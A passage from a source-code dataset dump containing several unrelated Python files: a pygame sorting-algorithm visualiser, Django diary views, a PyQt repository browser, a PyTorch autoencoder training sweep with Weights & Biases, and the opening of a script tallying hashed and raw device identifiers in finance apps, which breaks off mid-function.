self.mainObj.surface.blit(text, (self.x+10,self.y-25))\n text = self.font.render(f\"Best Case Time Complexity: {best}\",True,(0,0,0))\n self.mainObj.surface.blit(text, (self.x+10,self.y-50))\n text = self.font.render(f\"Average Case Time Complexity: {average}\",True,(0,0,0))\n self.mainObj.surface.blit(text, (self.x+335,self.y-25))\n text = self.font.render(f\"Space Complexity: {space}\",True,(0,0,0))\n self.mainObj.surface.blit(text, (self.x+335,self.y-50))\n \n\n \n def generateSlider(self):\n self.slider = Slider(self.mainObj.surface, self.x + 20 , self.y+self.HEIGHT+35, self.WIDTH - 500, 20, min=2, max=100, step=2,initial=self.BW, colour=(180, 110, 205))\n\n\n def draw(self):\n pygame.draw.rect(self.mainObj.surface, (200, 200, 200), (self.x-self.THICKNESS/2, self.y-self.THICKNESS / 2, self.WIDTH+self.THICKNESS, self.HEIGHT+self.THICKNESS))\n # Buttons\n for button in self.buttons:\n button.draw()\n # Bars\n for bar in self.bars:\n bar.draw()\n \n self.slider.draw()\n \n text = self.font.render(f\"Number Of Swaps: {self.noSwaps}\",True,(0,0,0))\n self.mainObj.surface.blit(text, (self.x+10,self.y+10))\n text = self.font.render(f\"Number Of Bars: {self.numberBars}\",True,(0,0,0))\n self.mainObj.surface.blit(text, (self.x+225,self.y+10))\n \n if self.bubbleSorting:\n self.drawText(\"Bubble Sort\",\"O(n*n)\", \"O(n)\", \"O(n*n)\", \"O(1)\")\n if self.bubbleSort():\n self.bubbleSorting = False\n\n if self.insertionSorting:\n self.drawText(\"Insertion Sort\",\"O(n*n)\", \"O(n)\", \"O(n*n)\", \"O(1)\")\n if self.insertionSort():\n self.insertionSorting = False\n\n if self.pancakeSorting:\n self.drawText(\"Pancake Sort\",\"O(n)\", \"O(n)\", \"O(n)\", \"O(n)\")\n if self.pancakeSort():\n self.pancakeSorting = False\n \n\n\n\n pygame.draw.rect(self.mainObj.surface, (0, 0, 0), (self.x-self.THICKNESS/2, self.y-self.THICKNESS / 2, self.WIDTH+self.THICKNESS, self.HEIGHT+self.THICKNESS), self.THICKNESS)\n\n def create_bars(self):\n self.noSwaps = 0\n self.space = (self.BW//5) + 1\n self.numberBars = (self.WIDTH // (self.BW + self.space))-1\n bars = []\n for i in range(self.numberBars):\n height = random.randint(10, self.HEIGHT - 50)\n x = i * (self.BW + self.space) + (self.WIDTH - (self.numberBars *self.BW + self.numberBars * self.space))/2 + self.x\n b = Bars(self.mainObj.surface, x, self.HEIGHT + self.y,height, self.BW, self.purple)\n bars.append(b)\n return bars\n\n def generateButtons(self):\n button = []\n # Create Arrays Button\n button.append(Button(self.mainObj.surface, self.x+(self.WIDTH)/2 , self.y+self.HEIGHT+20, 200, 50, text='Generate Arrays', fontSize=25, inactiveColour=(180, 110, 205), pressedColour=(130, 110, 205), onRelease=self.generateBarsButtonOnClick))\n\n button.append(Button(\n self.mainObj.surface, 100, self.y, 200, 50, text='Bubble Sort',\n fontSize=25,\n inactiveColour=(180, 110, 205),\n pressedColour=(130, 110, 205),\n onRelease=self.bubbleSortOnClick\n ))\n\n button.append(Button(\n self.mainObj.surface, 100, self.y + 100, 200, 50, text='Insertion Sort',\n fontSize=25,\n inactiveColour=(180, 110, 205),\n pressedColour=(130, 110, 205),\n onRelease=self.insertionSortOnClick\n ))\n\n button.append(Button(\n self.mainObj.surface, 100, self.y + 200, 200, 50, text='Pancake Sort',\n fontSize=25,\n inactiveColour=(180, 110, 205),\n pressedColour=(130, 110, 205),\n onRelease=self.pancakeSortOnClick\n ))\n\n button.append(Button(\n self.mainObj.surface, 100, self.y+400, 200, 50, text='Back',\n fontSize=25,\n inactiveColour=(180, 110, 205),\n pressedColour=(130, 110, 205),\n onRelease=self.backButtonOnClick\n ))\n\n return button\n\n def isClickAllowed(self):\n if not self.bubbleSorting and not self.insertionSorting and not self.pancakeSorting:\n return True\n return False\n\n\n def generateBarsButtonOnClick(self):\n if self.isClickAllowed():\n self.bars = self.create_bars()\n\n\n def bubbleSortOnClick(self):\n if self.isClickAllowed():\n self.init_bubble_sort()\n self.bubbleSorting = True\n \n def insertionSortOnClick(self):\n if self.isClickAllowed():\n self.init_insertion_sort()\n self.insertionSorting = True\n\n def pancakeSortOnClick(self):\n if self.isClickAllowed():\n self.init_pancake_sort()\n self.pancakeSorting = True\n\n def backButtonOnClick(self):\n if self.isClickAllowed():\n self.mainObj.sorter = False\n self.mainObj.pathfinder = False\n\n def init_bubble_sort(self):\n self.noSwaps = 0\n self.idx = 0\n self.jdx = 0\n self.comparing = False\n self.swapping = False\n if self.BW > 70:\n self.wait = 300\n elif self.BW > 50:\n self.wait = 100\n else:\n self.wait = self.BW \n\n def bubbleSort(self):\n if 0 <= self.idx < self.numberBars - 1:\n if 0 <= self.jdx < self.numberBars - self.idx - 1:\n if not self.comparing:\n self.bars[self.jdx].color=self.green\n self.bars[self.jdx + 1].color=self.green\n self.comparing = True\n pygame.time.wait(self.wait)\n return False\n if self.bars[self.jdx].HEIGHT > self.bars[self.jdx+1].HEIGHT:\n if not self.swapping:\n self.bars[self.jdx].color=self.red\n self.bars[self.jdx + 1].color=self.red\n self.swapping = True\n pygame.time.wait(self.wait)\n return False\n self.bars[self.jdx].x, self.bars[self.jdx+1].x = self.bars[self.jdx+1].x, self.bars[self.jdx].x\n self.bars[self.jdx], self.bars[self.jdx+1] = self.bars[self.jdx+1], self.bars[self.jdx]\n self.noSwaps += 1\n self.comparing = False\n pygame.time.wait(self.wait)\n return False\n self.bars[self.jdx + 1].color=self.purple\n self.bars[self.jdx].color=self.purple\n self.comparing = False\n self.swapping = False\n self.jdx += 1\n pygame.time.wait(self.wait)\n return False\n else:\n self.bars[self.jdx].color = self.blue\n self.idx += 1\n self.jdx = 0\n return False\n else:\n print('bubble sort done')\n for bar in self.bars:\n bar.color = self.yellow\n return True\n\n def init_insertion_sort(self):\n self.noSwaps = 0\n self.idx = 1\n self.jdx = 0\n self.key = 0\n self.key = self.bars[self.idx].HEIGHT\n if self.BW > 70:\n self.wait = 300\n elif self.BW > 50:\n self.wait = 100\n else:\n self.wait = self.BW \n self.inserting = False\n\n \n def insertionSort(self):\n if 1 <= self.idx < self.numberBars:\n if not self.inserting:\n self.bars[self.idx].color = self.red\n self.bars[self.jdx].color = self.blue\n self.inserting = True\n pygame.time.wait(self.wait)\n return False\n if self.jdx >= 0 and self.key < self.bars[self.jdx].HEIGHT:\n self.bars[self.jdx].x, self.bars[self.jdx+1].x = self.bars[self.jdx+1].x, self.bars[self.jdx].x\n self.bars[self.jdx], self.bars[self.jdx+1] = self.bars[self.jdx+1], self.bars[self.jdx]\n self.noSwaps += 1\n self.jdx -= 1\n pygame.time.wait(self.wait)\n return False\n self.bars[self.jdx+1].color = self.blue\n self.inserting = False\n self.idx += 1\n if not self.idx == self.numberBars:\n self.key = self.bars[self.idx].HEIGHT\n self.jdx = self.idx - 1\n pygame.time.wait(self.wait)\n return False\n else:\n print(\"insertion sort done\")\n for bar in self.bars:\n bar.color = self.yellow\n return True\n\n def init_pancake_sort(self):\n self.noSwaps = 0\n self.current = self.numberBars-1\n self.maxIndex = None\n self.start = 0\n self.maxFlipped = False\n self.currentFlipped = True\n self.changeMax = True\n self.i = 0\n self.maxFlipping = False\n self.currentFlipping = False\n if self.BW > 70:\n self.wait = 300\n elif self.BW > 50:\n self.wait = 100\n else:\n self.wait = self.BW \n self.decrementCurr = False\n\n \n def pancakeSort(self):\n if self.current > 0:\n \n if self.changeMax:\n self.maxIndex = self.bars.index(max(self.bars[0:self.current+1], key=lambda bar: bar.HEIGHT))\n self.changeMax = False\n if self.maxIndex != self.current:\n if not self.maxFlipping and self.currentFlipped :\n self.start = 0\n self.i = self.maxIndex\n self.maxFlipping = True\n if self.maxFlipping:\n if self.start < self.i:\n if self.start-1 >= 0 and self.i+1 <= self.maxIndex:\n self.bars[self.start-1].color = self.purple\n self.bars[self.i+1].color = self.purple\n self.bars[self.start].color = self.red\n self.bars[self.i].color = self.red\n self.bars[self.start].x, self.bars[self.i].x = self.bars[self.i].x, self.bars[self.start].x\n self.bars[self.start], self.bars[self.i] = self.bars[self.i], self.bars[self.start]\n self.noSwaps += 1\n self.start += 1\n self.i -= 1\n pygame.time.wait(self.wait)\n return False\n else:\n if self.start-1 >= 0 and self.i+1 <= self.maxIndex:\n self.bars[self.start-1].color = self.purple\n self.bars[self.i+1].color = self.purple\n self.maxFlipping = False\n self.maxFlipped = True\n self.currentFlipped = False\n self.currentFlipping = False\n if not self.currentFlipping and self.maxFlipped:\n self.start = 0\n self.i = self.current\n self.currentFlipping = True\n if self.currentFlipping:\n if self.start < self.i:\n if self.start-1 >= 0 and self.i+1 <= self.current:\n self.bars[self.start-1].color = self.purple\n self.bars[self.i+1].color = self.purple\n self.bars[self.start].color = self.red\n self.bars[self.i].color = self.red\n self.bars[self.start].x, self.bars[self.i].x = self.bars[self.i].x, self.bars[self.start].x\n self.bars[self.start], self.bars[self.i] = self.bars[self.i], self.bars[self.start]\n self.noSwaps += 1\n self.start += 1\n self.i -= 1\n pygame.time.wait(self.wait)\n return False\n else:\n if self.start-1 >= 0 and self.i+1 <= self.current:\n self.bars[self.start-1].color = self.purple\n self.bars[self.i+1].color = self.purple\n self.currentFlipping = False\n self.currentFlipped = True\n self.maxFlipping = False\n self.maxFlipped = False\n self.decrementCurr = True\n else:\n self.decrementCurr = True\n\n self.bars[self.current].color = self.blue\n self.current -= 1\n self.changeMax = True\n else:\n print(\"pancake sort done\")\n for bar in self.bars:\n bar.color = self.yellow\n return True\n\n\n def listen_events(self, events):\n if self.isClickAllowed():\n self.slider.listen(events)\n temp = self.slider.getValue()\n if temp != self.BW:\n self.BW = temp\n self.bars = self.create_bars()\n for button in self.buttons:\n button.listen(events)\n","sub_path":"BarsContainer.py","file_name":"BarsContainer.py","file_ext":"py","file_size_in_byte":14530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"255935143","text":"from YourDiary.diary.forms import SignupForm, LoginForm, NewDiaryForm, EditProfileForm\nfrom YourDiary.diary.models import User, Diary\nfrom django.shortcuts import render, get_object_or_404\nfrom django.core.urlresolvers import reverse, reverse_lazy\nfrom django.http import HttpResponseRedirect\nfrom django.views.decorators.http import require_GET, require_POST, require_http_methods\nfrom django.views.generic import View, ListView, DetailView, CreateView, UpdateView, DeleteView\n\n#diary views\n\n@require_GET\ndef index(request):\n #login a user, sign him up and ultimately lead him to his homepage\n if request.session.get(\"logged_in\"):\n return HttpResponseRedirect(reverse(\"diary_home\"))\n return HttpResponseRedirect(reverse(\"diary_login\"))\n\n@require_http_methods([\"GET\", \"POST\"])\ndef signup(request):\n if request.method == \"GET\":\n form = SignupForm()\n return render(request, \"diary/signup.html\", {\"signup_form\":form})\n else:\n form = SignupForm(request.POST)\n if form.is_valid():\n user_instance = form.save()\n #keep him logged in, probably for a short time because \n #he didn't log in on the login page\n request.session.set_expiry(24*60*60) #remeber him for a day\n request.session[\"logged_in\"] = True\n request.session[\"id\"] = user_instance.id\n return HttpResponseRedirect(reverse(\"diary_home\"))\n else:\n return render(request, \"diary/home.html\", {\"form\": form})\n\n@require_http_methods([\"GET\", \"POST\"])\ndef login(request):\n \"\"\"\n This view is for login validation. \n Basic login page display is handled by the index view.\n \"\"\"\n if request.method == \"GET\":\n return render(request, \"diary/login.html\", {\"login_form\":LoginForm()})\n else:\n login_form = LoginForm(request.POST)\n if login_form.is_valid():\n #initiate a session and keep 'em logged in\n request.session[\"logged_in\"] = True\n #get the user id\n user_instance = User.objects.get(login=login_form.cleaned_data[\"login\"])\n request.session[\"id\"] = user_instance.id\n if login_form.cleaned_data[\"remember_me\"] == True:\n request.session.set_expiry(7*24*60*60) #remeber him for a week\n else:\n request.session.set_expiry(0) #expires when browser closes\n return HttpResponseRedirect(reverse(\"diary_home\"))\n else: #invalid form\n #This is a GET after POST. Pressing the browser back then will cause a repost\n return render(request, \"diary/login.html\", {\"login_form\":login_form})\n\ndef signout(request):\n try:\n del request.session[\"logged_in\"]\n del request.session[\"id\"]\n except KeyError:\n pass\n return HttpResponseRedirect(reverse(\"diary_login\"))\n\n@require_GET\ndef home(request):\n #get all user diaries and pass them to the template\n uid = request.session.get(\"id\")\n user_instance = User.objects.get(id=uid)\n user_diaries = user_instance.diary_set.all()\n #this is not a form. Should I display that manually?\n return render(request, \"diary/home.html\", {\"diaries\":user_diaries})\n\n\nclass DiaryList(ListView):\n context_object_name = \"diary_list\"\n template_name = \"diary/home.html\"\n \n def get_queryset(self):\n #the diaries belonging to session user\n current_user_id = self.request.session.get(\"id\")\n user = get_object_or_404(User, id=current_user_id)\n return Diary.objects.filter(user=user)\n\n\nclass DiaryDetails(DetailView):\n model = Diary\n context_object_name = \"diary\"\n template_name = \"diary/diary_detail.html\"\n pk_url_kwarg = \"id\"\n\n\nclass NewDiary(CreateView):\n model = Diary\n context_object_name = \"diary_form\" #doesn't work!. {{ form.as_p }} does\n fields = [\"title\", \"body\"]\n success_url = reverse_lazy(\"diary_home\")\n\n def form_valid(self, form):\n #associate newly created diary with session user\n form.instance.user = get_object_or_404(User, id=self.request.session.get(\"id\"))\n return super(NewDiary, self).form_valid(form)\n\n\nclass EditDiary(UpdateView):\n model = Diary\n template_name = \"diary/diary_edit.html\"\n context_object_name = \"diary\" #again, doesn't work\n fields = [\"title\", \"body\"]\n success_url = reverse_lazy(\"diary_home\")\n pk_url_kwarg = \"id\"\n\nclass DeleteDiary(DeleteView):\n model = Diary\n context_object_name = \"diary\"\n success_url = reverse_lazy(\"diary_home\")\n pk_url_kwarg = \"id\" #the diary id\n\n\nclass EditProfile(UpdateView):\n model = User\n #fields = \"__all__\"\n form_class = EditProfileForm\n template_name = \"diary/edit_profile.html\"\n context_object_name = \"user\"\n success_url = reverse_lazy(\"diary_home\")\n \"\"\"\n First: I need to disable the prepopulation of the password field\n How this can be done:\n Make a form for the update view.\n probably use modelform_factory with custom arguments for a widget\n Second: I need to filter image types for avatar.\n Thirs: I need to provide a confirm password field.\n \"\"\"\n\n def get_object(self):\n return get_object_or_404(User, id=self.request.session.get(\"id\"))\n\ndef test(request):\n return render(request, \"diary/test.html\", {\"id\":request.GET.get(\"arg\")})","sub_path":"YourDiary/YourDiary/diary/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"479879588","text":"import urlparse\nimport threading\nimport Queue\nimport logging\n\nfrom PyQt4 import QtCore, QtGui, QtWebKit\n\nfrom biosignalml import client\n\nfrom runchart import show_chart\nfrom treemodel import TreeView, SortedUriTree\n\n\nclass RepoRecordings(threading.Thread):\n#======================================\n\n def __init__(self, repo, recQ):\n #------------------\n threading.Thread.__init__(self)\n self._repo = repo\n self._recQ = recQ\n self.start()\n\n def run(self):\n #-------------\n recordings = [ ]\n try:\n for uri in self._repo.recording_uris():\n u = str(uri)\n p = urlparse.urlparse(u)\n recordings.append((tuple(p.path[1:].split('/')), u))\n self._recQ.put(recordings)\n except Exception as msg:\n self._recQ.put(str(msg))\n\n\nclass QtBrowser(QtGui.QMainWindow):\n#==================================\n\n def __init__(self, repo, recordings):\n #-------------------------\n super(QtBrowser, self).__init__()\n\n# toolmenu = QtGui.QMenu(\"File\", self)\n# toolmenu.addAction(QtGui.QAction(\"Open\", self, triggered=self.browse))\n# self.menuBar().addMenu(toolmenu)\n# self._repo = client.Repository(repo)\n# self.setWindowTitle(str(self._repo.uri))\n\n self.setWindowTitle(str(repo.uri))\n\n# recordings = [ ]\n# for uri in self._repo.recording_uris():\n# u = str(uri)\n# p = urlparse.urlparse(u)\n# recordings.append((tuple(p.path[1:].split('/')), u))\n\n tree = TreeView()\n self.model = SortedUriTree(tree, ['Path', 'Recording'], recordings, parent=self)\n self._viewers = [ ]\n tree.doubleClicked.connect(self.draw_chart)\n self.setCentralWidget(tree)\n\n\n def draw_chart(self, index):\n #--------------------------\n uri_index = index.sibling(index.row(), 1)\n if not uri_index.isValid(): return\n uri = str(uri_index.data().toString()).strip()\n if uri == '': return\n self._viewers.append(show_recording(uri))\n self._viewers[-1].show()\n\n\nif __name__ == '__main__':\n#=========================\n\n import sys\n# if len(sys.argv) < 2:\n# sys.exit(\"Usage: %s REPOSITORY\" % sys.argv[0])\n\n# logging.basicConfig(format='%(asctime)s %(levelname)8s %(threadName)s: %(message)s')\n# logging.getLogger().setLevel('DEBUG')\n #repo_url = 'http://devel.biosignalml.org' # sys.argv[1]\n try:\n repo_url = sys.argv[1]\n repo = client.Repository(repo_url)\n except IOError:\n sys.exit(\"Cannot connect to repository\")\n recQ = Queue.Queue()\n rec_thread = RepoRecordings(repo, recQ)\n\n app = QtGui.QApplication(sys.argv)\n\n recordings = recQ.get()\n rec_thread.join()\n\n if isinstance(recordings, str):\n sys.exit(recordings)\n\n browser = QtBrowser(repo, recordings)\n\n browser.show()\n browser.raise_()\n\n sys.exit(app.exec_())\n\n","sub_path":"chart/treemain.py","file_name":"treemain.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"315950992","text":"\"\"\"Train the model within a W+B sweep\"\"\"\n\nimport argparse\nimport logging\nimport os\n\nimport numpy as np\nimport math\nimport torch\nimport torch.optim as optim\nfrom torch.autograd import Variable\nfrom tqdm import tqdm\nimport datetime\nfrom pathlib import Path\n\n# import sys\n# sys.path.append('/scratch/cloned_repositories/torch-summary')\n# from torchsummary import summary\n\nimport wandb\n\nimport utilities\nimport models.ae as ae\nimport models.vae as vae\nimport data_loader as data_loader\nfrom metrics import metrics # TODO\nfrom hpatches_benchmarking import hpatches_benchmark_a_model\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--data_dir', default='/scratch/image_datasets/3_65x65/ready',\n help=\"Directory containing the dataset\")\nparser.add_argument('--model_dir', default='models/',\n help=\"Directory containing params.json\")\nparser.add_argument('--weights_dir', default='/scratch/image_datasets/3_65x65/ready/weights',\n help=\"Directory where weights will be saved\")\nparser.add_argument('--restore_file', default=None,\n help=\"Optional, name of the file in --model_dir containing weights to reload before \\\n training\") # 'best' or 'train'\n\n\ndef train_epoch(model, optimizer, loss_fn, dataloader, metrics, params):\n \"\"\"Train the model on `num_steps` batches\n\n Args:\n model: (torch.nn.Module) the neural network\n optimizer: (torch.optim) optimizer for parameters of model\n loss_fn: a function that takes batch_output and batch_labels and computes the loss for the batch\n dataloader: (DataLoader) a torch.utils.data.DataLoader object that fetches training data\n metrics: (dict) a dictionary of functions that compute a metric using the output and labels of each batch\n params: (Params) hyperparameters\n num_steps: (int) number of batches to train on, each of size params.batch_size\n \"\"\"\n\n # set model to training mode\n model.train()\n\n # summary for current training loop and a running average object for loss\n summ = []\n loss_avg = utilities.RunningAverage()\n\n # Use tqdm for progress bar\n with tqdm(total=len(dataloader)) as t:\n for i, train_batch in enumerate(dataloader):\n # move to GPU if available\n if params.cuda:\n train_batch = train_batch.cuda(non_blocking=True)\n # convert to torch Variables\n train_batch = Variable(train_batch)\n\n # compute model output and loss\n if params.variational:\n output_batch, mu, logvar = model(train_batch)\n loss = loss_fn(output_batch, train_batch, mu, logvar)\n else:\n output_batch = model(train_batch)\n loss = loss_fn(output_batch, train_batch)\n\n # clear previous gradients, compute gradients of all variables wrt loss\n optimizer.zero_grad()\n loss.backward()\n\n # performs updates using calculated gradients\n optimizer.step()\n\n # Evaluate summaries only once in a while\n if i % params.save_summary_steps == 0:\n # compute all metrics on this batch\n summary_batch = {metric: metrics[metric](output_batch, train_batch)\n for metric in metrics}\n summary_batch['loss'] = loss.item()\n summ.append(summary_batch)\n\n # update the average loss\n loss_avg.update(loss.item())\n\n t.set_postfix(loss='{:05.3f}'.format(loss_avg()))\n t.update()\n\n # compute mean of all metrics in summary\n metrics_mean = {metric: np.mean([x[metric]\n for x in summ]) for metric in summ[0]}\n metrics_string = \" ; \".join(\"{}: {:05.3f}\".format(k, v)\n for k, v in metrics_mean.items())\n logging.info(\"- Train metrics: \" + metrics_string)\n return metrics_mean\n\n\ndef evaluate_epoch(model, loss_fn, dataloader, metrics, params):\n \"\"\"Evaluate the model on `num_steps` batches.\n\n Args:\n model: (torch.nn.Module) the neural network\n loss_fn: a function that takes batch_output and batch_labels and computes the loss for the batch\n dataloader: (DataLoader) a torch.utils.data.DataLoader object that fetches data\n metrics: (dict) a dictionary of functions that compute a metric using the output and labels of each batch\n params: (Params) hyperparameters\n num_steps: (int) number of batches to train on, each of size params.batch_size\n \"\"\"\n\n # set model to evaluation mode\n model.eval()\n\n # summary for current eval loop\n summ = []\n\n # compute metrics over the dataset\n for data_batch in dataloader:\n\n # move to GPU if available\n if params.cuda:\n data_batch = data_batch.cuda(non_blocking=True)\n # fetch the next evaluation batch\n data_batch = Variable(data_batch)\n\n # compute model output\n if params.variational:\n output_batch, mu, logvar = model(data_batch)\n loss = loss_fn(output_batch, data_batch, mu, logvar)\n else:\n output_batch = model(data_batch)\n loss = loss_fn(output_batch, data_batch)\n\n # compute all metrics on this batch\n summary_batch = {metric: metrics[metric](output_batch, data_batch)\n for metric in metrics}\n summary_batch['loss'] = loss.item()\n summ.append(summary_batch)\n\n # compute mean of all metrics in summary\n metrics_mean = {metric: np.mean([x[metric]\n for x in summ]) for metric in summ[0]}\n metrics_string = \" ; \".join(\"{}: {:05.3f}\".format(k, v)\n for k, v in metrics_mean.items())\n logging.info(\"- Eval metrics : \" + metrics_string)\n return metrics_mean\n\n\ndef train_and_evaluate(model, train_dataloader, val_dataloader, optimizer, loss_fn, metrics, params,\n weights_dir, restore_file=None, use_wandb=True):\n \"\"\"Train the model and evaluate every epoch.\n\n Args:\n model: (torch.nn.Module) the neural network\n train_dataloader: (DataLoader) a torch.utils.data.DataLoader object that fetches training data\n val_dataloader: (DataLoader) a torch.utils.data.DataLoader object that fetches validation data\n optimizer: (torch.optim) optimizer for parameters of model\n loss_fn: a function that takes batch_output and batch_labels and computes the loss for the batch\n metrics: (dict) a dictionary of functions that compute a metric using the output and labels of each batch\n params: (Params) hyperparameters\n weights_dir: (string) directory containing weights\n restore_file: (string) optional- name of file to restore from (without its extension .pth.tar)\n \"\"\"\n # reload weights from restore_file if specified\n if restore_file is not None:\n restore_path = os.path.join(\n args.model_dir, args.restore_file + '.pth.tar')\n logging.info(\"Restoring parameters from {}\".format(restore_path))\n utilities.load_checkpoint(restore_path, model, optimizer)\n\n best_val_loss = math.inf # might need to change (to 0.0) if changing the metric\n\n for epoch in range(params.num_epochs):\n # Run one epoch\n logging.info(\"Epoch {}/{}\".format(epoch + 1, params.num_epochs))\n\n # compute number of batches in one epoch (one full pass over the training set)\n train_metrics = train_epoch(model, optimizer, loss_fn, train_dataloader, metrics, params)\n train_loss, train_mse = train_metrics['loss'], train_metrics['mse'] # TODO generalise this\n\n # Evaluate for one epoch on validation set\n val_metrics = evaluate_epoch(model, loss_fn, val_dataloader, metrics, params)\n val_loss, val_mse = val_metrics['loss'], val_metrics['mse'] # TODO generalise this\n is_best = val_loss <= best_val_loss # might need to change (to >=) if changing the metric\n\n # Save weights\n utilities.save_checkpoint({'epoch': epoch + 1,\n 'state_dict': model.state_dict(),\n 'optim_dict': optimizer.state_dict()},\n is_best=is_best,\n checkpoint=weights_dir)\n\n # If best_eval, best_save_path\n if is_best:\n logging.info(\"- Found new best loss\")\n best_val_loss = val_loss\n\n # Save best val metrics in a json file in the model directory\n best_json_path = os.path.join(\n weights_dir, \"metrics_val_best_weights.json\")\n utilities.save_dict_to_json(val_metrics, best_json_path)\n\n # Save latest val metrics in a json file in the model directory\n last_json_path = os.path.join(\n weights_dir, \"metrics_val_last_weights.json\")\n utilities.save_dict_to_json(val_metrics, last_json_path)\n\n if use_wandb:\n wandb.log({\"loss\": train_loss, \"val_loss\": val_loss, \"mse\": train_mse, \"val_mse\": val_mse})\n\n\ndef training_sweep():\n\n # Load the parameters from json file\n args = parser.parse_args()\n json_path = os.path.join(args.model_dir, 'params.json')\n assert os.path.isfile(\n json_path), \"No json configuration file found at {}\".format(json_path)\n params = utilities.Params(json_path)\n\n use_wandb = True # TODO!\n\n\n if use_wandb:\n wandb_run = wandb.init(config=params) # TODO wandb project name should be a parameter\n\n logging.info(\"\\n\\n****************** STARTING A NEW RUN ******************\")\n logging.info('Data augmentation level: ' + str(wandb.config.data_augm_level))\n logging.info('Activation function : ' + str(wandb.config.activation_fn))\n logging.info('Loss function : ' + str(wandb.config.loss_fn))\n # logging.info('Beta value (normalised): ' + str(wandb.config.vae_beta_norm))\n logging.info('Learning rate : ' + str(wandb.config.learning_rate))\n logging.info(\"\")\n\n latent_size = 32 # args.latent_size # 32 # wandb.config.latent_size\n batch_size = 32 # args.batch_size # 32 # wandb.config.batch_size\n logging.info('Other params (that are not being swept)')\n logging.info(' Latent size:' + str(latent_size))\n logging.info(' Batch size :' + str(batch_size))\n logging.info(\"\")\n\n # use GPU if available\n params.cuda = torch.cuda.is_available()\n\n # Set the random seed for reproducible experiments\n torch.manual_seed(230)\n if params.cuda:\n torch.cuda.manual_seed(230)\n\n sweep_version = 'sweep_XXXX' # TODO change in both files!!! (TODO make it a parameter)\n weights_filename_suffix = 'vae' if params.variational else 'ae'\n model_version = \"weights_\" + datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S\") + \"_\" + weights_filename_suffix\n weights_dir = os.path.join(args.weights_dir, sweep_version, model_version)\n\n Path(os.path.join(args.weights_dir, sweep_version)).mkdir(parents=True, exist_ok=True)\n Path(weights_dir).mkdir(parents=True, exist_ok=True)\n\n rotation_deg = 10 * wandb.config.data_augm_level\n translation = 0.1 * wandb.config.data_augm_level\n scaling = 1.0 + 0.1 * wandb.config.data_augm_level\n shearing_deg = 10 * wandb.config.data_augm_level\n\n # Create the input data pipeline\n logging.info(\"Loading the datasets...\")\n\n # fetch dataloaders\n dataloaders = data_loader.fetch_dataloader(['train', 'validation'], args.data_dir, params, batch_size,\n rotation_deg=rotation_deg, translation=translation,\n scaling=scaling, shearing_deg=shearing_deg)\n train_dl = dataloaders['train']\n val_dl = dataloaders['validation']\n\n logging.info(\"- done.\")\n\n if params.variational:\n params.beta = wandb.config.vae_beta_norm * (4096 / latent_size) # input size / latent size = 4096 / latent_size; TODO generalise it\n model = vae.BetaVAE(latent_size=latent_size, activation_str=wandb.config.activation_fn, loss_str=wandb.config.loss_fn, beta=params.beta).cuda() if params.cuda \\\n else vae.BetaVAE(latent_size=latent_size, activation_str=wandb.config.activation_fn, loss_str=wandb.config.loss_fn, beta=params.beta)\n else:\n model = ae.AE(latent_size=latent_size, activation_str=wandb.config.activation_fn, loss_str=wandb.config.loss_fn).cuda() if params.cuda \\\n else ae.AE(latent_size=latent_size, activation_str=wandb.config.activation_fn, loss_str=wandb.config.loss_fn)\n\n if use_wandb:\n wandb.watch(model)\n\n # print(model)\n # summary(model, (1, 64, 64))\n optimizer = optim.Adam(model.parameters(), lr=wandb.config.learning_rate)\n\n loss_fn = model.loss\n\n # Train the model\n logging.info(\"Starting training for {} epoch(s)\".format(params.num_epochs))\n train_and_evaluate(model, train_dl, val_dl, optimizer, loss_fn, metrics, params, args.model_dir,\n weights_dir, args.restore_file, use_wandb)\n\n hpatches_benchmark_a_model(model, model_version, use_wandb)\n\n if use_wandb:\n wandb_run.finish()\n","sub_path":"training_sweep.py","file_name":"training_sweep.py","file_ext":"py","file_size_in_byte":13214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"625878298","text":"import sys\n\nimport csv\n\nfw=open('Finance_app_wise_hash_stats2.csv','w+')\n# fw.write('Appname'+','+'FirstOrderID'+','+'SecondOrderID'+','+'IDs'+','+'ThirdParty'+','+'Own')\n# fw.write('\\n')\n\nfw.write('App'+','+'IMEIHashed'+','+'IMEIRaw'+','+'IMSIHashed'+','+'IMSIRaw'+','+'AndroidIDHashed'+','+'AndroidIDRaw'+','+'SerialNoHashed'+','+'SerialNoRaw'+','+'MacAddressHashed'+','+'MacAddressRaw'+','+'ADvID'+','+'GUID')\nfw.write('\\n')\n\nff = open('finance_AppsName.txt','r')\n#infile=sys.argv[1]\n#ff = open(infile,'r')\n\nApps = []\n\nfor line in ff:\n\tline = line.strip('\\n')\n\tApps.append(line)\n\n# fff = open('thirdPartyWords.txt','r')\n\ntp_words = []\n\n# for line in fff:\n# \tline = line.strip('\\n')\n# \ttp_words.append(line)\n\nIMEI=\"Landroid/telephony/TelephonyManager;.getDeviceId:()Ljava/lang/String;\"\nAndroidID=\"Landroid/content/Context;.getContentResolver\"\nSERIAL=\"android.os.Build.SERIAL\"\nIMSI=\"Landroid/telephony/TelephonyManager;.getSimSerialNumber:()Ljava/lang/String;\"\nMacAddress=\"Landroid/net/wifi/WifiInfo;.getMacAddress:()Ljava/lang/String;\"\nAdvertisingID=\"Lcom/google/android/gms/ads/identifier/AdvertisingIdClient;\"\nUUID=\"Ljava/util/UUID;.randomUUID:()Ljava/util/UUID;\"\n\ndef find_the_method_slice(alllines,num):\n method_start_line=-1\n methodName=\"\"\n while (num > 0):\n text = alllines[num-1].strip()\n if (text == \"</graphml>\"):\n method_start_line=num+1\n break\n num=num-1\n if method_start_line>0:\n methodName=alllines[method_start_line-1].strip()\n return methodName,method_start_line\n\n\ndef find_sub_method_slice_hash(alllines,method):\n print(method)\n arr=method.split('/')\n if arr[0]==\"`Ljava\" or arr[0]==\"`Landroid\":\n return 0\n index=0\n while(index<len(alllines)):\n line=alllines[index].strip()\n if method in line:\n next_line=alllines[index+1].strip()\n if next_line==\"{\":\n method_hash=sub_method_slice_hash(alllines,index+1)\n print(\"method Hash: \",method_hash)\n return method_hash\n index+=1\n\n return 0\n\ndef 